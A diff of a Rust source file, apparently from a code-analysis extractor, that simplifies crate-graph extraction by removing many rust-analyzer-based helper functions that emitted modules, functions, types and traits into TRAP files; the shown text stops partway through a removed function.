ra_ap_hir_def::{ - AssocItemId, ConstParamId, LocalModuleId, TypeOrConstParamId, - data::adt::VariantData, - generics::{GenericParams, TypeOrConstParamData}, - item_scope::ImportOrGlob, - item_tree::ImportKind, - nameres::ModuleData, - path::ImportAlias, -}; -use ra_ap_hir_def::{HasModule, visibility::VisibilityExplicitness}; -use ra_ap_hir_def::{ModuleId, resolver::HasResolver}; -use ra_ap_hir_ty::GenericArg; -use ra_ap_hir_ty::ProjectionTyExt; -use ra_ap_hir_ty::TraitRefExt; -use ra_ap_hir_ty::Ty; -use ra_ap_hir_ty::TyExt; -use ra_ap_hir_ty::TyLoweringContext; -use ra_ap_hir_ty::WhereClause; -use ra_ap_hir_ty::from_assoc_type_id; -use ra_ap_hir_ty::{Binders, FnPointer}; -use ra_ap_hir_ty::{Interner, ProjectionTy}; use ra_ap_ide_db::RootDatabase; use ra_ap_vfs::{Vfs, VfsPath}; +use std::hash::Hash; use std::hash::Hasher; use std::{cmp::Ordering, collections::HashMap, path::PathBuf}; -use std::{hash::Hash, vec}; -use tracing::{debug, error}; +use tracing::error; pub fn extract_crate_graph(trap_provider: &trap::TrapFileProvider, db: &RootDatabase, vfs: &Vfs) { let crate_graph = db.all_crates(); @@ -89,16 +58,6 @@ pub fn extract_crate_graph(trap_provider: &trap::TrapFileProvider, db: &RootData continue; } let krate = krate_id.data(db); - let root_module = emit_module( - db, - db.crate_def_map(*krate_id).as_ref(), - "crate", - DefMap::ROOT, - &mut trap, - ); - let file_label = trap.emit_file(root_module_file); - trap.emit_file_only_location(file_label, root_module); - let crate_dependencies: Vec = krate .dependencies .iter() @@ -118,7 +77,6 @@ pub fn extract_crate_graph(trap_provider: &trap::TrapFileProvider, db: &RootData .as_ref() .map(|x| x.canonical_name().to_string()), version: krate_extra.version.to_owned(), - module: Some(root_module), cfg_options: krate_id .cfg_options(db) .into_iter() @@ -129,7 +87,10 @@ pub fn extract_crate_graph(trap_provider: &trap::TrapFileProvider, db: &RootData .map(|dep| trap.emit(dep)) .collect(), }; - trap.emit(element); + let label = trap.emit(element); + let file_label = trap.emit_file(root_module_file); + trap.emit_file_only_location(file_label, label); + trap.commit().unwrap_or_else(|err| { error!( "Failed to write trap file for crate: {}: {}", @@ -141,1491 +102,6 @@ pub fn extract_crate_graph(trap_provider: &trap::TrapFileProvider, db: &RootData } } -fn emit_module( - db: &dyn HirDatabase, - map: &DefMap, - name: &str, - module: LocalModuleId, - trap: &mut TrapFile, -) -> trap::Label { - let module = &map.modules[module]; - let mut items = Vec::new(); - items.extend(emit_module_children(db, map, module, trap)); - items.extend(emit_module_items(db, module, trap)); - items.extend(emit_module_impls(db, module, trap)); - - let name = trap.emit(generated::Name { - id: trap::TrapId::Star, - text: Some(name.to_owned()), - }); - let item_list = trap.emit(generated::ItemList { - id: trap::TrapId::Star, - attrs: vec![], - items, - }); - let visibility = emit_visibility(db, trap, module.visibility); - trap.emit(generated::Module { - id: trap::TrapId::Star, - name: Some(name), - attrs: vec![], - item_list: Some(item_list), - visibility, - }) -} - -fn emit_module_children( - db: &dyn HirDatabase, - map: &DefMap, - module: &ModuleData, - trap: &mut TrapFile, -) -> Vec> { - module - .children - .iter() - .sorted_by(|a, b| Ord::cmp(&a.0, &b.0)) - .map(|(name, child)| emit_module(db, map, name.as_str(), *child, trap).into()) - .collect() -} - -fn emit_reexport( - db: &dyn HirDatabase, - trap: &mut TrapFile, - uses: &mut HashMap>, - import: ImportOrGlob, - name: &str, -) { - let (use_, idx) = match import { - ImportOrGlob::Glob(import) => (import.use_, import.idx), - ImportOrGlob::Import(import) => (import.use_, import.idx), - }; - let def_db = db.upcast(); - let loc = use_.lookup(def_db); - let use_ = &loc.id.item_tree(def_db)[loc.id.value]; - - use_.use_tree.expand(|id, path, kind, alias| { - if id == idx { - let mut path_components = Vec::new(); - match path.kind { - PathKind::Plain => (), - PathKind::Super(0) => path_components.push("self".to_owned()), - PathKind::Super(n) => { - path_components.extend(std::iter::repeat_n("super".to_owned(), n.into())); - } - PathKind::Crate => path_components.push("crate".to_owned()), - PathKind::Abs => path_components.push("".to_owned()), - PathKind::DollarCrate(crate_id) => { - let crate_extra = crate_id.extra_data(db); - let crate_name = crate_extra - .display_name - .as_ref() - .map(|x| x.canonical_name().to_string()); - path_components.push(crate_name.unwrap_or("crate".to_owned())); - } - } - path_components.extend(path.segments().iter().map(|x| x.as_str().to_owned())); - match kind { - ImportKind::Plain => (), - ImportKind::Glob => path_components.push(name.to_owned()), - ImportKind::TypeOnly => path_components.push("self".to_owned()), - }; - - let alias = alias.map(|alias| match alias { - ImportAlias::Underscore => "_".to_owned(), - ImportAlias::Alias(name) => name.as_str().to_owned(), - }); - let key = format!( - "{} as {}", - path_components.join("::"), - alias.as_ref().unwrap_or(&"".to_owned()) - ); - // prevent duplicate imports - if uses.contains_key(&key) { - return; - } - let rename = alias.map(|name| { - let name = Some(trap.emit(generated::Name { - id: trap::TrapId::Star, - text: Some(name), - })); - trap.emit(generated::Rename { - id: trap::TrapId::Star, - name, - }) - }); - let path = make_qualified_path(trap, path_components, None); - let use_tree = trap.emit(generated::UseTree { - id: trap::TrapId::Star, - is_glob: false, - path, - rename, - use_tree_list: None, - }); - let visibility = emit_visibility(db, trap, Visibility::Public); - uses.insert( - key, - trap.emit(generated::Use { - id: trap::TrapId::Star, - attrs: vec![], - use_tree: Some(use_tree), - visibility, - }) - .into(), - ); - } - }); -} - -fn emit_module_items( - db: &dyn HirDatabase, - module: &ModuleData, - trap: &mut TrapFile, -) -> Vec> { - let mut items: Vec> = Vec::new(); - let mut uses = HashMap::new(); - let item_scope = &module.scope; - for (name, item) in item_scope.entries() { - let def = item.filter_visibility(|x| matches!(x, ra_ap_hir::Visibility::Public)); - if let Some(ra_ap_hir_def::per_ns::Item { - def: _, - vis: _, - import: Some(import), - }) = def.values - { - emit_reexport(db, trap, &mut uses, import, name.as_str()); - } - if let Some(ra_ap_hir_def::per_ns::Item { - def: value, - vis, - import: None, - }) = def.values - { - match value { - ModuleDefId::FunctionId(function) => { - items.push(emit_function(db, trap, None, function, name).into()); - } - ModuleDefId::ConstId(konst) => { - items.extend( - emit_const(db, trap, None, name.as_str(), konst, vis) - .map(Into::>::into), - ); - } - ModuleDefId::StaticId(statik) => { - items.extend(emit_static(db, name.as_str(), trap, statik, vis)); - } - // Enum variants can only be introduced into the value namespace by an import (`use`) statement - ModuleDefId::EnumVariantId(_) => (), - // Not in the "value" namespace - ModuleDefId::ModuleId(_) - | ModuleDefId::AdtId(_) - | ModuleDefId::TraitId(_) - | ModuleDefId::TraitAliasId(_) - | ModuleDefId::TypeAliasId(_) - | ModuleDefId::BuiltinType(_) - | ModuleDefId::MacroId(_) => (), - } - } - if let Some(ra_ap_hir_def::per_ns::Item { - def: _, - vis: _, - import: Some(import), - }) = def.types - { - // TODO: handle ExternCrate as well? - if let Some(import) = import.import_or_glob() { - emit_reexport(db, trap, &mut uses, import, name.as_str()); - } - } - if let Some(ra_ap_hir_def::per_ns::Item { - def: type_id, - vis, - import: None, - }) = def.types - { - match type_id { - ModuleDefId::AdtId(adt_id) => { - items.extend(emit_adt(db, name.as_str(), trap, adt_id, vis)); - } - ModuleDefId::TraitId(trait_id) => { - items.extend(emit_trait(db, name.as_str(), trap, trait_id, vis)); - } - ModuleDefId::TypeAliasId(type_alias_id_) => items.extend( - emit_type_alias(db, trap, None, name.as_str(), type_alias_id_, vis) - .map(Into::>::into), - ), - ModuleDefId::TraitAliasId(_) => (), - ModuleDefId::BuiltinType(_) => (), - // modules are handled separatedly - ModuleDefId::ModuleId(_) => (), - // Enum variants cannot be declarted, only imported - ModuleDefId::EnumVariantId(_) => (), - // Not in the "types" namespace - ModuleDefId::FunctionId(_) - | ModuleDefId::ConstId(_) - | ModuleDefId::StaticId(_) - | ModuleDefId::MacroId(_) => (), - } - } - } - items.extend(uses.values()); - items -} - -fn emit_function( - db: &dyn HirDatabase, - trap: &mut TrapFile, - container: Option, - function: ra_ap_hir_def::FunctionId, - name: &ra_ap_hir::Name, -) -> trap::Label { - let sig = db.callable_item_signature(function.into()); - let parameters = collect_generic_parameters(db, function.into(), container); - - assert_eq!(sig.binders.len(Interner), parameters.len()); - let sig = sig.skip_binders(); - let ty_vars = &[parameters]; - let function_data = db.function_data(function); - let mut self_param = None; - let params = sig - .params() - .iter() - .enumerate() - .filter_map(|(idx, p)| { - let type_repr = emit_hir_ty(trap, db, ty_vars, p); - - if idx == 0 && function_data.has_self_param() { - // Check if the self parameter is a reference - let (is_ref, is_mut) = match p.kind(Interner) { - chalk_ir::TyKind::Ref(mutability, _, _) => { - (true, matches!(mutability, chalk_ir::Mutability::Mut)) - } - chalk_ir::TyKind::Raw(mutability, _) => { - (false, matches!(mutability, chalk_ir::Mutability::Mut)) - } - _ => (false, false), - }; - - self_param = Some(trap.emit(generated::SelfParam { - id: trap::TrapId::Star, - attrs: vec![], - type_repr, - is_ref, - is_mut, - lifetime: None, - name: None, - })); - None - } else { - Some(trap.emit(generated::Param { - id: trap::TrapId::Star, - attrs: vec![], - type_repr, - pat: None, - })) - } - }) - .collect(); - - let ret_type = emit_hir_ty(trap, db, ty_vars, sig.ret()); - - let param_list = trap.emit(generated::ParamList { - id: trap::TrapId::Star, - params, - self_param, - }); - let ret_type = ret_type.map(|ret_type| { - trap.emit(generated::RetTypeRepr { - id: trap::TrapId::Star, - type_repr: Some(ret_type), - }) - }); - let name = Some(trap.emit(generated::Name { - id: trap::TrapId::Star, - text: Some(name.as_str().to_owned()), - })); - let data = db.function_data(function); - let visibility = emit_visibility( - db, - trap, - data.visibility - .resolve(db.upcast(), &function.resolver(db.upcast())), - ); - let generic_param_list = emit_generic_param_list(trap, db, ty_vars, function.into()); - trap.emit(generated::Function { - id: trap::TrapId::Star, - name, - attrs: vec![], - body: None, - is_const: data.is_const(), - is_default: data.is_default(), - visibility, - abi: None, - is_async: data.is_async(), - is_gen: false, - is_unsafe: data.is_unsafe(), - generic_param_list, - param_list: Some(param_list), - ret_type, - where_clause: None, - }) -} - -fn collect_generic_parameters( - db: &dyn HirDatabase, - def: GenericDefId, - container: Option, -) -> Vec { - let mut parameters = Vec::new(); - let gen_params = db.generic_params(def); - collect(&gen_params, &mut parameters); - if let Some(gen_params) = container.map(|container| db.generic_params(container)) { - collect(gen_params.as_ref(), &mut parameters); - } - return parameters; - - fn collect(gen_params: &GenericParams, parameters: &mut Vec) { - // Self, Lifetimes, TypesOrConsts - let skip = if gen_params.trait_self_param().is_some() { - parameters.push("Self".into()); - 1 - } else { - 0 - }; - parameters.extend(gen_params.iter_lt().map(|(_, lt)| lt.name.as_str().into())); - parameters.extend(gen_params.iter_type_or_consts().skip(skip).map(|(_, p)| { - p.name() - .map(|p| p.as_str().into()) - .unwrap_or("{error}".into()) - })); - } -} - -fn emit_const( - db: &dyn HirDatabase, - trap: &mut TrapFile, - container: Option, - name: &str, - konst: ra_ap_hir_def::ConstId, - visibility: Visibility, -) -> Option> { - let type_ = db.value_ty(konst.into()); - let parameters = collect_generic_parameters(db, konst.into(), container); - assert_eq!( - type_ - .as_ref() - .map_or(0, |type_| type_.binders.len(Interner)), - parameters.len() - ); - let ty_vars = &[parameters]; - let type_repr = type_.and_then(|type_| emit_hir_ty(trap, db, ty_vars, type_.skip_binders())); - let name = Some(trap.emit(generated::Name { - id: trap::TrapId::Star, - text: Some(name.to_owned()), - })); - let konst = db.const_data(konst); - let visibility = emit_visibility(db, trap, visibility); - Some(trap.emit(generated::Const { - id: trap::TrapId::Star, - name, - attrs: vec![], - body: None, - is_const: true, - is_default: konst.has_body(), - type_repr, - visibility, - })) -} - -fn emit_static( - db: &dyn HirDatabase, - name: &str, - trap: &mut TrapFile, - statik: ra_ap_hir_def::StaticId, - visibility: Visibility, -) -> Option> { - let type_ = db.value_ty(statik.into()); - let parameters = collect_generic_parameters(db, statik.into(), None); - assert_eq!( - type_ - .as_ref() - .map_or(0, |type_| type_.binders.len(Interner)), - parameters.len() - ); - let ty_vars = &[parameters]; - let type_repr = type_.and_then(|type_| emit_hir_ty(trap, db, ty_vars, type_.skip_binders())); - let name = Some(trap.emit(generated::Name { - id: trap::TrapId::Star, - text: Some(name.to_owned()), - })); - let statik = db.static_data(statik); - let visibility = emit_visibility(db, trap, visibility); - Some( - trap.emit(generated::Static { - id: trap::TrapId::Star, - name, - attrs: vec![], - body: None, - type_repr, - visibility, - is_mut: statik.mutable(), - is_static: true, - is_unsafe: statik.has_unsafe_kw(), - }) - .into(), - ) -} - -fn emit_type_alias( - db: &dyn HirDatabase, - trap: &mut TrapFile, - container: Option, - name: &str, - alias_id: ra_ap_hir_def::TypeAliasId, - visibility: Visibility, -) -> Option> { - let (type_, _) = db.type_for_type_alias_with_diagnostics(alias_id); - let parameters = collect_generic_parameters(db, alias_id.into(), container); - assert_eq!(type_.binders.len(Interner), parameters.len()); - let ty_vars = &[parameters]; - let type_repr = emit_hir_ty(trap, db, ty_vars, type_.skip_binders()); - let name = Some(trap.emit(generated::Name { - id: trap::TrapId::Star, - text: Some(name.to_owned()), - })); - let visibility = emit_visibility(db, trap, visibility); - let alias = db.type_alias_data(alias_id); - let generic_param_list = emit_generic_param_list(trap, db, ty_vars, alias_id.into()); - Some(trap.emit(generated::TypeAlias { - id: trap::TrapId::Star, - name, - attrs: vec![], - is_default: container.is_some() && alias.type_ref.is_some(), - type_repr, - visibility, - generic_param_list, - type_bound_list: None, - where_clause: None, - })) -} - -fn emit_generic_param_list( - trap: &mut TrapFile, - db: &dyn HirDatabase, - ty_vars: &[Vec], - def: GenericDefId, -) -> Option> { - let params = db.generic_params(def); - let trait_self_param = params.trait_self_param(); - if params.is_empty() || params.len() == 1 && trait_self_param.is_some() { - return None; - } - let mut generic_params = Vec::new(); - generic_params.extend(params.iter_lt().map( - |(_, param)| -> trap::Label { - let lifetime = trap - .emit(generated::Lifetime { - id: trap::TrapId::Star, - text: Some(param.name.as_str().to_owned()), - }) - .into(); - - trap.emit(generated::LifetimeParam { - id: trap::TrapId::Star, - attrs: vec![], - lifetime, - type_bound_list: None, - }) - .into() - }, - )); - generic_params.extend( - params - .iter_type_or_consts() - .filter(|(id, _)| trait_self_param != Some(*id)) - .map( - |(param_id, param)| -> trap::Label { - match param { - TypeOrConstParamData::TypeParamData(param) => { - let name = Some(trap.emit(generated::Name { - id: trap::TrapId::Star, - text: param.name.as_ref().map(|name| name.as_str().to_owned()), - })); - let resolver = def.resolver(db.upcast()); - let mut ctx = TyLoweringContext::new( - db, - &resolver, - ¶ms.types_map, - def.into(), - ); - - let default_type = param - .default - .and_then(|ty| emit_hir_ty(trap, db, ty_vars, &ctx.lower_ty(ty))); - trap.emit(generated::TypeParam { - id: trap::TrapId::Star, - attrs: vec![], - name, - default_type, - type_bound_list: None, - }) - .into() - } - TypeOrConstParamData::ConstParamData(param) => { - let name = Some(trap.emit(generated::Name { - id: trap::TrapId::Star, - text: param.name.as_str().to_owned().into(), - })); - let param_id = TypeOrConstParamId { - parent: def, - local_id: param_id, - }; - let ty = db.const_param_ty(ConstParamId::from_unchecked(param_id)); - let type_repr = emit_hir_ty(trap, db, ty_vars, &ty); - trap.emit(generated::ConstParam { - id: trap::TrapId::Star, - attrs: vec![], - name, - default_val: None, - is_const: true, - type_repr, - }) - .into() - } - } - }, - ), - ); - trap.emit(generated::GenericParamList { - id: trap::TrapId::Star, - generic_params, - }) - .into() -} -fn emit_adt( - db: &dyn HirDatabase, - name: &str, - trap: &mut TrapFile, - adt_id: ra_ap_hir_def::AdtId, - visibility: Visibility, -) -> Option> { - let parameters = collect_generic_parameters(db, adt_id.into(), None); - let ty_vars = &[parameters]; - - match adt_id { - ra_ap_hir_def::AdtId::StructId(struct_id) => { - let name = Some(trap.emit(generated::Name { - id: trap::TrapId::Star, - text: Some(name.to_owned()), - })); - let field_list = emit_variant_data(trap, db, ty_vars, struct_id.into()).into(); - let visibility = emit_visibility(db, trap, visibility); - let generic_param_list = emit_generic_param_list(trap, db, ty_vars, adt_id.into()); - Some( - trap.emit(generated::Struct { - id: trap::TrapId::Star, - name, - attrs: vec![], - field_list, - generic_param_list, - visibility, - where_clause: None, - }) - .into(), - ) - } - ra_ap_hir_def::AdtId::EnumId(enum_id) => { - let data = db.enum_variants(enum_id); - let variants = data - .variants - .iter() - .map(|(enum_id, name)| { - let name = Some(trap.emit(generated::Name { - id: trap::TrapId::Star, - text: Some(name.as_str().to_owned()), - })); - let field_list = emit_variant_data(trap, db, ty_vars, (*enum_id).into()).into(); - let visibility = None; - trap.emit(generated::Variant { - id: trap::TrapId::Star, - name, - field_list, - attrs: vec![], - discriminant: None, - visibility, - }) - }) - .collect(); - let variant_list = Some(trap.emit(generated::VariantList { - id: trap::TrapId::Star, - variants, - })); - let name = Some(trap.emit(generated::Name { - id: trap::TrapId::Star, - text: Some(name.to_owned()), - })); - let visibility = emit_visibility(db, trap, visibility); - let generic_param_list = emit_generic_param_list(trap, db, ty_vars, adt_id.into()); - Some( - trap.emit(generated::Enum { - id: trap::TrapId::Star, - name, - attrs: vec![], - generic_param_list, - variant_list, - visibility, - where_clause: None, - }) - .into(), - ) - } - ra_ap_hir_def::AdtId::UnionId(union_id) => { - let name = Some(trap.emit(generated::Name { - id: trap::TrapId::Star, - text: Some(name.to_owned()), - })); - let struct_field_list = emit_variant_data(trap, db, ty_vars, union_id.into()).into(); - let visibility = emit_visibility(db, trap, visibility); - let generic_param_list = emit_generic_param_list(trap, db, ty_vars, adt_id.into()); - Some( - trap.emit(generated::Union { - id: trap::TrapId::Star, - name, - attrs: vec![], - struct_field_list, - generic_param_list, - visibility, - where_clause: None, - }) - .into(), - ) - } - } -} - -fn emit_trait( - db: &dyn HirDatabase, - name: &str, - trap: &mut TrapFile, - trait_id: ra_ap_hir_def::TraitId, - visibility: Visibility, -) -> Option> { - let parameters = collect_generic_parameters(db, trait_id.into(), None); - let ty_vars = &[parameters]; - let trait_items = db.trait_items(trait_id); - let assoc_items: Vec> = trait_items - .items - .iter() - .flat_map(|(name, item)| match item { - AssocItemId::FunctionId(function_id) => { - Some(emit_function(db, trap, Some(trait_id.into()), *function_id, name).into()) - } - - AssocItemId::ConstId(const_id) => emit_const( - db, - trap, - Some(trait_id.into()), - name.as_str(), - *const_id, - visibility, - ) - .map(Into::into), - AssocItemId::TypeAliasId(type_alias_id) => emit_type_alias( - db, - trap, - Some(trait_id.into()), - name.as_str(), - *type_alias_id, - visibility, - ) - .map(Into::into), - }) - .collect(); - let assoc_item_list = Some(trap.emit(generated::AssocItemList { - id: trap::TrapId::Star, - assoc_items, - attrs: vec![], - })); - let name = Some(trap.emit(generated::Name { - id: trap::TrapId::Star, - text: Some(name.to_owned()), - })); - let visibility = emit_visibility(db, trap, visibility); - let generic_param_list = emit_generic_param_list(trap, db, ty_vars, trait_id.into()); - Some( - trap.emit(generated::Trait { - id: trap::TrapId::Star, - name, - assoc_item_list, - attrs: vec![], - generic_param_list, - is_auto: false, - is_unsafe: false, - type_bound_list: None, - visibility, - where_clause: None, - }) - .into(), - ) -} - -fn emit_module_impls( - db: &dyn HirDatabase, - module: &ModuleData, - trap: &mut TrapFile, -) -> Vec> { - let mut items = Vec::new(); - module.scope.impls().for_each(|imp| { - let self_ty = db.impl_self_ty(imp); - let parameters = collect_generic_parameters(db, imp.into(), None); - let parameters_len = parameters.len(); - assert_eq!(self_ty.binders.len(Interner), parameters_len); - - let ty_vars = &[parameters]; - let self_ty = emit_hir_ty(trap, db, ty_vars, self_ty.skip_binders()); - let path = db.impl_trait(imp).map(|trait_ref| { - assert_eq!(trait_ref.binders.len(Interner), parameters_len); - trait_path(db, trap, ty_vars, trait_ref.skip_binders()) - }); - let trait_ = path.map(|path| { - trap.emit(generated::PathTypeRepr { - id: trap::TrapId::Star, - path, - }) - .into() - }); - let imp_items = db.impl_items(imp); - let assoc_items = imp_items - .items - .iter() - .flat_map(|item| { - if let (name, AssocItemId::FunctionId(function)) = item { - Some(emit_function(db, trap, Some(imp.into()), *function, name).into()) - } else { - None - } - }) - .collect(); - let assoc_item_list = Some(trap.emit(generated::AssocItemList { - id: trap::TrapId::Star, - assoc_items, - attrs: vec![], - })); - let generic_param_list = emit_generic_param_list(trap, db, ty_vars, imp.into()); - items.push( - trap.emit(generated::Impl { - id: trap::TrapId::Star, - trait_, - self_ty, - assoc_item_list, - attrs: vec![], - generic_param_list, - is_const: false, - is_default: false, - is_unsafe: false, - visibility: None, - where_clause: None, - }) - .into(), - ); - }); - items -} - -fn emit_visibility( - db: &dyn HirDatabase, - trap: &mut TrapFile, - visibility: Visibility, -) -> Option> { - let path = match visibility { - Visibility::Module(module_id, VisibilityExplicitness::Explicit) => { - Some(make_path_mod(db.upcast(), module_id)) - } - Visibility::Public => Some(vec![]), - Visibility::Module(_, VisibilityExplicitness::Implicit) => None, - }; - path.map(|path| { - let path = make_qualified_path(trap, path, None); - trap.emit(generated::Visibility { - id: trap::TrapId::Star, - path, - }) - }) -} -fn push_ty_vars(ty_vars: &[Vec], vars: Vec) -> Vec> { - let mut result = ty_vars.to_vec(); - result.push(vars); - result -} -fn emit_hir_type_bound( - db: &dyn HirDatabase, - trap: &mut TrapFile, - ty_vars: &[Vec], - type_bound: &Binders>, -) -> Option> { - // Rust-analyzer seems to call `wrap_empty_binders` on `WhereClause`s. - let parameters = vec![]; - assert_eq!(type_bound.binders.len(Interner), parameters.len(),); - let ty_vars = &push_ty_vars(ty_vars, parameters); - - match type_bound.skip_binders() { - WhereClause::Implemented(trait_ref) => { - let path = trait_path(db, trap, ty_vars, trait_ref); - let type_repr = Some( - trap.emit(generated::PathTypeRepr { - id: trap::TrapId::Star, - path, - }) - .into(), - ); - Some(trap.emit(generated::TypeBound { - id: trap::TrapId::Star, - is_async: false, - is_const: false, - lifetime: None, - type_repr, - use_bound_generic_args: None, - })) - } - WhereClause::AliasEq(_) - | WhereClause::LifetimeOutlives(_) - | WhereClause::TypeOutlives(_) => None, // TODO - } -} - -fn trait_path( - db: &dyn HirDatabase, - trap: &mut TrapFile, - ty_vars: &[Vec], - trait_ref: &chalk_ir::TraitRef, -) -> Option> { - let mut path = make_path(db, trait_ref.hir_trait_id()); - path.push( - db.trait_data(trait_ref.hir_trait_id()) - .name - .as_str() - .to_owned(), - ); - let generic_arg_list = emit_generic_arg_list( - trap, - db, - ty_vars, - &trait_ref.substitution.as_slice(Interner)[1..], - ); - - make_qualified_path(trap, path, generic_arg_list) -} - -fn emit_hir_fn_ptr( - trap: &mut TrapFile, - db: &dyn HirDatabase, - ty_vars: &[Vec], - function: &FnPointer, -) -> trap::Label { - // Currently rust-analyzer does not handle `for<'a'> fn()` correctly: - // ```rust - // TyKind::Function(FnPointer { - // num_binders: 0, // FIXME lower `for<'a> fn()` correctly - // ``` - // https://github.com/rust-lang/rust-analyzer/blob/c5882732e6e6e09ac75cddd13545e95860be1c42/crates/hir-ty/src/lower.rs#L325 - let parameters = vec![]; - assert_eq!(function.num_binders, parameters.len(),); - let ty_vars = &push_ty_vars(ty_vars, parameters); - - let parameters: Vec<_> = function.substitution.0.type_parameters(Interner).collect(); - - let (ret_type, params) = parameters.split_last().unwrap(); - - let ret_type = emit_hir_ty(trap, db, ty_vars, ret_type); - let ret_type = Some(trap.emit(generated::RetTypeRepr { - id: trap::TrapId::Star, - type_repr: ret_type, - })); - let params = params - .iter() - .map(|t| { - let type_repr = emit_hir_ty(trap, db, ty_vars, t); - trap.emit(generated::Param { - id: trap::TrapId::Star, - attrs: vec![], - type_repr, - pat: None, - }) - }) - .collect(); - let param_list = Some(trap.emit(generated::ParamList { - id: trap::TrapId::Star, - params, - self_param: None, - })); - let is_unsafe = matches!(function.sig.safety, ra_ap_hir::Safety::Unsafe); - trap.emit(generated::FnPtrTypeRepr { - id: trap::TrapId::Star, - abi: None, - is_async: false, - is_const: false, - is_unsafe, - ret_type, - param_list, - }) -} - -fn scalar_to_str(scalar: &Scalar) -> &'static str { - match scalar { - Scalar::Bool => "bool", - Scalar::Char => "char", - Scalar::Int(IntTy::I8) => "i8", - Scalar::Int(IntTy::I16) => "i16", - Scalar::Int(IntTy::I32) => "i32", - Scalar::Int(IntTy::I64) => "i64", - Scalar::Int(IntTy::I128) => "i128", - Scalar::Int(IntTy::Isize) => "isize", - Scalar::Uint(UintTy::U8) => "u8", - Scalar::Uint(UintTy::U16) => "u16", - Scalar::Uint(UintTy::U32) => "u32", - Scalar::Uint(UintTy::U64) => "u64", - Scalar::Uint(UintTy::U128) => "u128", - Scalar::Uint(UintTy::Usize) => "usize", - Scalar::Float(FloatTy::F16) => "f16", - Scalar::Float(FloatTy::F32) => "f32", - Scalar::Float(FloatTy::F64) => "f64", - Scalar::Float(FloatTy::F128) => "f128", - } -} - -fn make_path(db: &dyn HirDatabase, item: impl HasModule) -> Vec { - let db = db.upcast(); - let module = item.module(db); - make_path_mod(db, module) -} - -fn make_path_mod(db: &dyn DefDatabase, module: ModuleId) -> Vec { - let mut path = Vec::new(); - let mut module = module; - loop { - if module.is_block_module() { - path.push("".to_owned()); - } else if let Some(name) = module.name(db).map(|x| x.as_str().to_owned()).or_else(|| { - module.as_crate_root().and_then(|k| { - let krate = k.krate().extra_data(db); - krate - .display_name - .as_ref() - .map(|x| x.canonical_name().to_string()) - }) - }) { - path.push(name); - } else { - path.push("".to_owned()); - } - if let Some(parent) = module.containing_module(db) { - module = parent; - } else { - break; - } - } - path.reverse(); - path -} - -fn make_qualified_path( - trap: &mut TrapFile, - path: Vec, - generic_arg_list: Option>, -) -> Option> { - fn qualified_path( - trap: &mut TrapFile, - qualifier: Option>, - name: String, - generic_arg_list: Option>, - ) -> trap::Label { - let identifier = Some(trap.emit(generated::NameRef { - id: trap::TrapId::Star, - text: Some(name), - })); - let segment = Some(trap.emit(generated::PathSegment { - id: trap::TrapId::Star, - generic_arg_list, - identifier, - parenthesized_arg_list: None, - ret_type: None, - return_type_syntax: None, - })); - trap.emit(generated::Path { - id: trap::TrapId::Star, - qualifier, - segment, - }) - } - let args = std::iter::repeat_n(None, &path.len() - 1).chain(std::iter::once(generic_arg_list)); - path.into_iter() - .zip(args) - .fold(None, |q, (p, a)| Some(qualified_path(trap, q, p, a))) -} -fn emit_hir_ty( - trap: &mut TrapFile, - db: &dyn HirDatabase, - ty_vars: &[Vec], - ty: &Ty, -) -> Option> { - match ty.kind(ra_ap_hir_ty::Interner) { - chalk_ir::TyKind::Never => Some( - trap.emit(generated::NeverTypeRepr { - id: trap::TrapId::Star, - }) - .into(), - ), - - chalk_ir::TyKind::Placeholder(_index) => Some( - trap.emit(generated::InferTypeRepr { - id: trap::TrapId::Star, - }) - .into(), - ), - - chalk_ir::TyKind::Tuple(_size, substitution) => { - let fields = substitution.type_parameters(ra_ap_hir_ty::Interner); - let fields = fields - .flat_map(|field| emit_hir_ty(trap, db, ty_vars, &field)) - .collect(); - - Some( - trap.emit(generated::TupleTypeRepr { - id: trap::TrapId::Star, - fields, - }) - .into(), - ) - } - chalk_ir::TyKind::Raw(mutability, ty) => { - let type_repr = emit_hir_ty(trap, db, ty_vars, ty); - - Some( - trap.emit(generated::PtrTypeRepr { - id: trap::TrapId::Star, - is_mut: matches!(mutability, chalk_ir::Mutability::Mut), - is_const: false, - type_repr, - }) - .into(), - ) - } - chalk_ir::TyKind::Ref(mutability, lifetime, ty) => { - let type_repr = emit_hir_ty(trap, db, ty_vars, ty); - let lifetime = emit_lifetime(trap, ty_vars, lifetime); - Some( - trap.emit(generated::RefTypeRepr { - id: trap::TrapId::Star, - is_mut: matches!(mutability, chalk_ir::Mutability::Mut), - lifetime: Some(lifetime), - type_repr, - }) - .into(), - ) - } - chalk_ir::TyKind::Array(ty, _konst) => { - let element_type_repr = emit_hir_ty(trap, db, ty_vars, ty); - // TODO: handle array size constant - Some( - trap.emit(generated::ArrayTypeRepr { - id: trap::TrapId::Star, - const_arg: None, - element_type_repr, - }) - .into(), - ) - } - chalk_ir::TyKind::Slice(ty) => { - let type_repr = emit_hir_ty(trap, db, ty_vars, ty); - Some( - trap.emit(generated::SliceTypeRepr { - id: trap::TrapId::Star, - type_repr, - }) - .into(), - ) - } - - chalk_ir::TyKind::Adt(adt_id, substitution) => { - let mut path = make_path(db, adt_id.0); - let name = match adt_id.0 { - ra_ap_hir_def::AdtId::StructId(struct_id) => { - db.struct_data(struct_id).name.as_str().to_owned() - } - ra_ap_hir_def::AdtId::UnionId(union_id) => { - db.union_data(union_id).name.as_str().to_owned() - } - ra_ap_hir_def::AdtId::EnumId(enum_id) => { - db.enum_data(enum_id).name.as_str().to_owned() - } - }; - path.push(name); - let generic_arg_list = - emit_generic_arg_list(trap, db, ty_vars, substitution.as_slice(Interner)); - let path = make_qualified_path(trap, path, generic_arg_list); - Some( - trap.emit(generated::PathTypeRepr { - id: trap::TrapId::Star, - path, - }) - .into(), - ) - } - chalk_ir::TyKind::Scalar(scalar) => { - let path = make_qualified_path(trap, vec![scalar_to_str(scalar).to_owned()], None); - Some( - trap.emit(generated::PathTypeRepr { - id: trap::TrapId::Star, - path, - }) - .into(), - ) - } - chalk_ir::TyKind::Str => { - let path = make_qualified_path(trap, vec!["str".to_owned()], None); - Some( - trap.emit(generated::PathTypeRepr { - id: trap::TrapId::Star, - path, - }) - .into(), - ) - } - chalk_ir::TyKind::Function(fn_pointer) => { - Some(emit_hir_fn_ptr(trap, db, ty_vars, fn_pointer).into()) - } - chalk_ir::TyKind::OpaqueType(_, _) - | chalk_ir::TyKind::Alias(chalk_ir::AliasTy::Opaque(_)) => { - let bounds = ty - .impl_trait_bounds(db) - .iter() - .flatten() - .flat_map(|t| emit_hir_type_bound(db, trap, ty_vars, t)) - .collect(); - let type_bound_list = 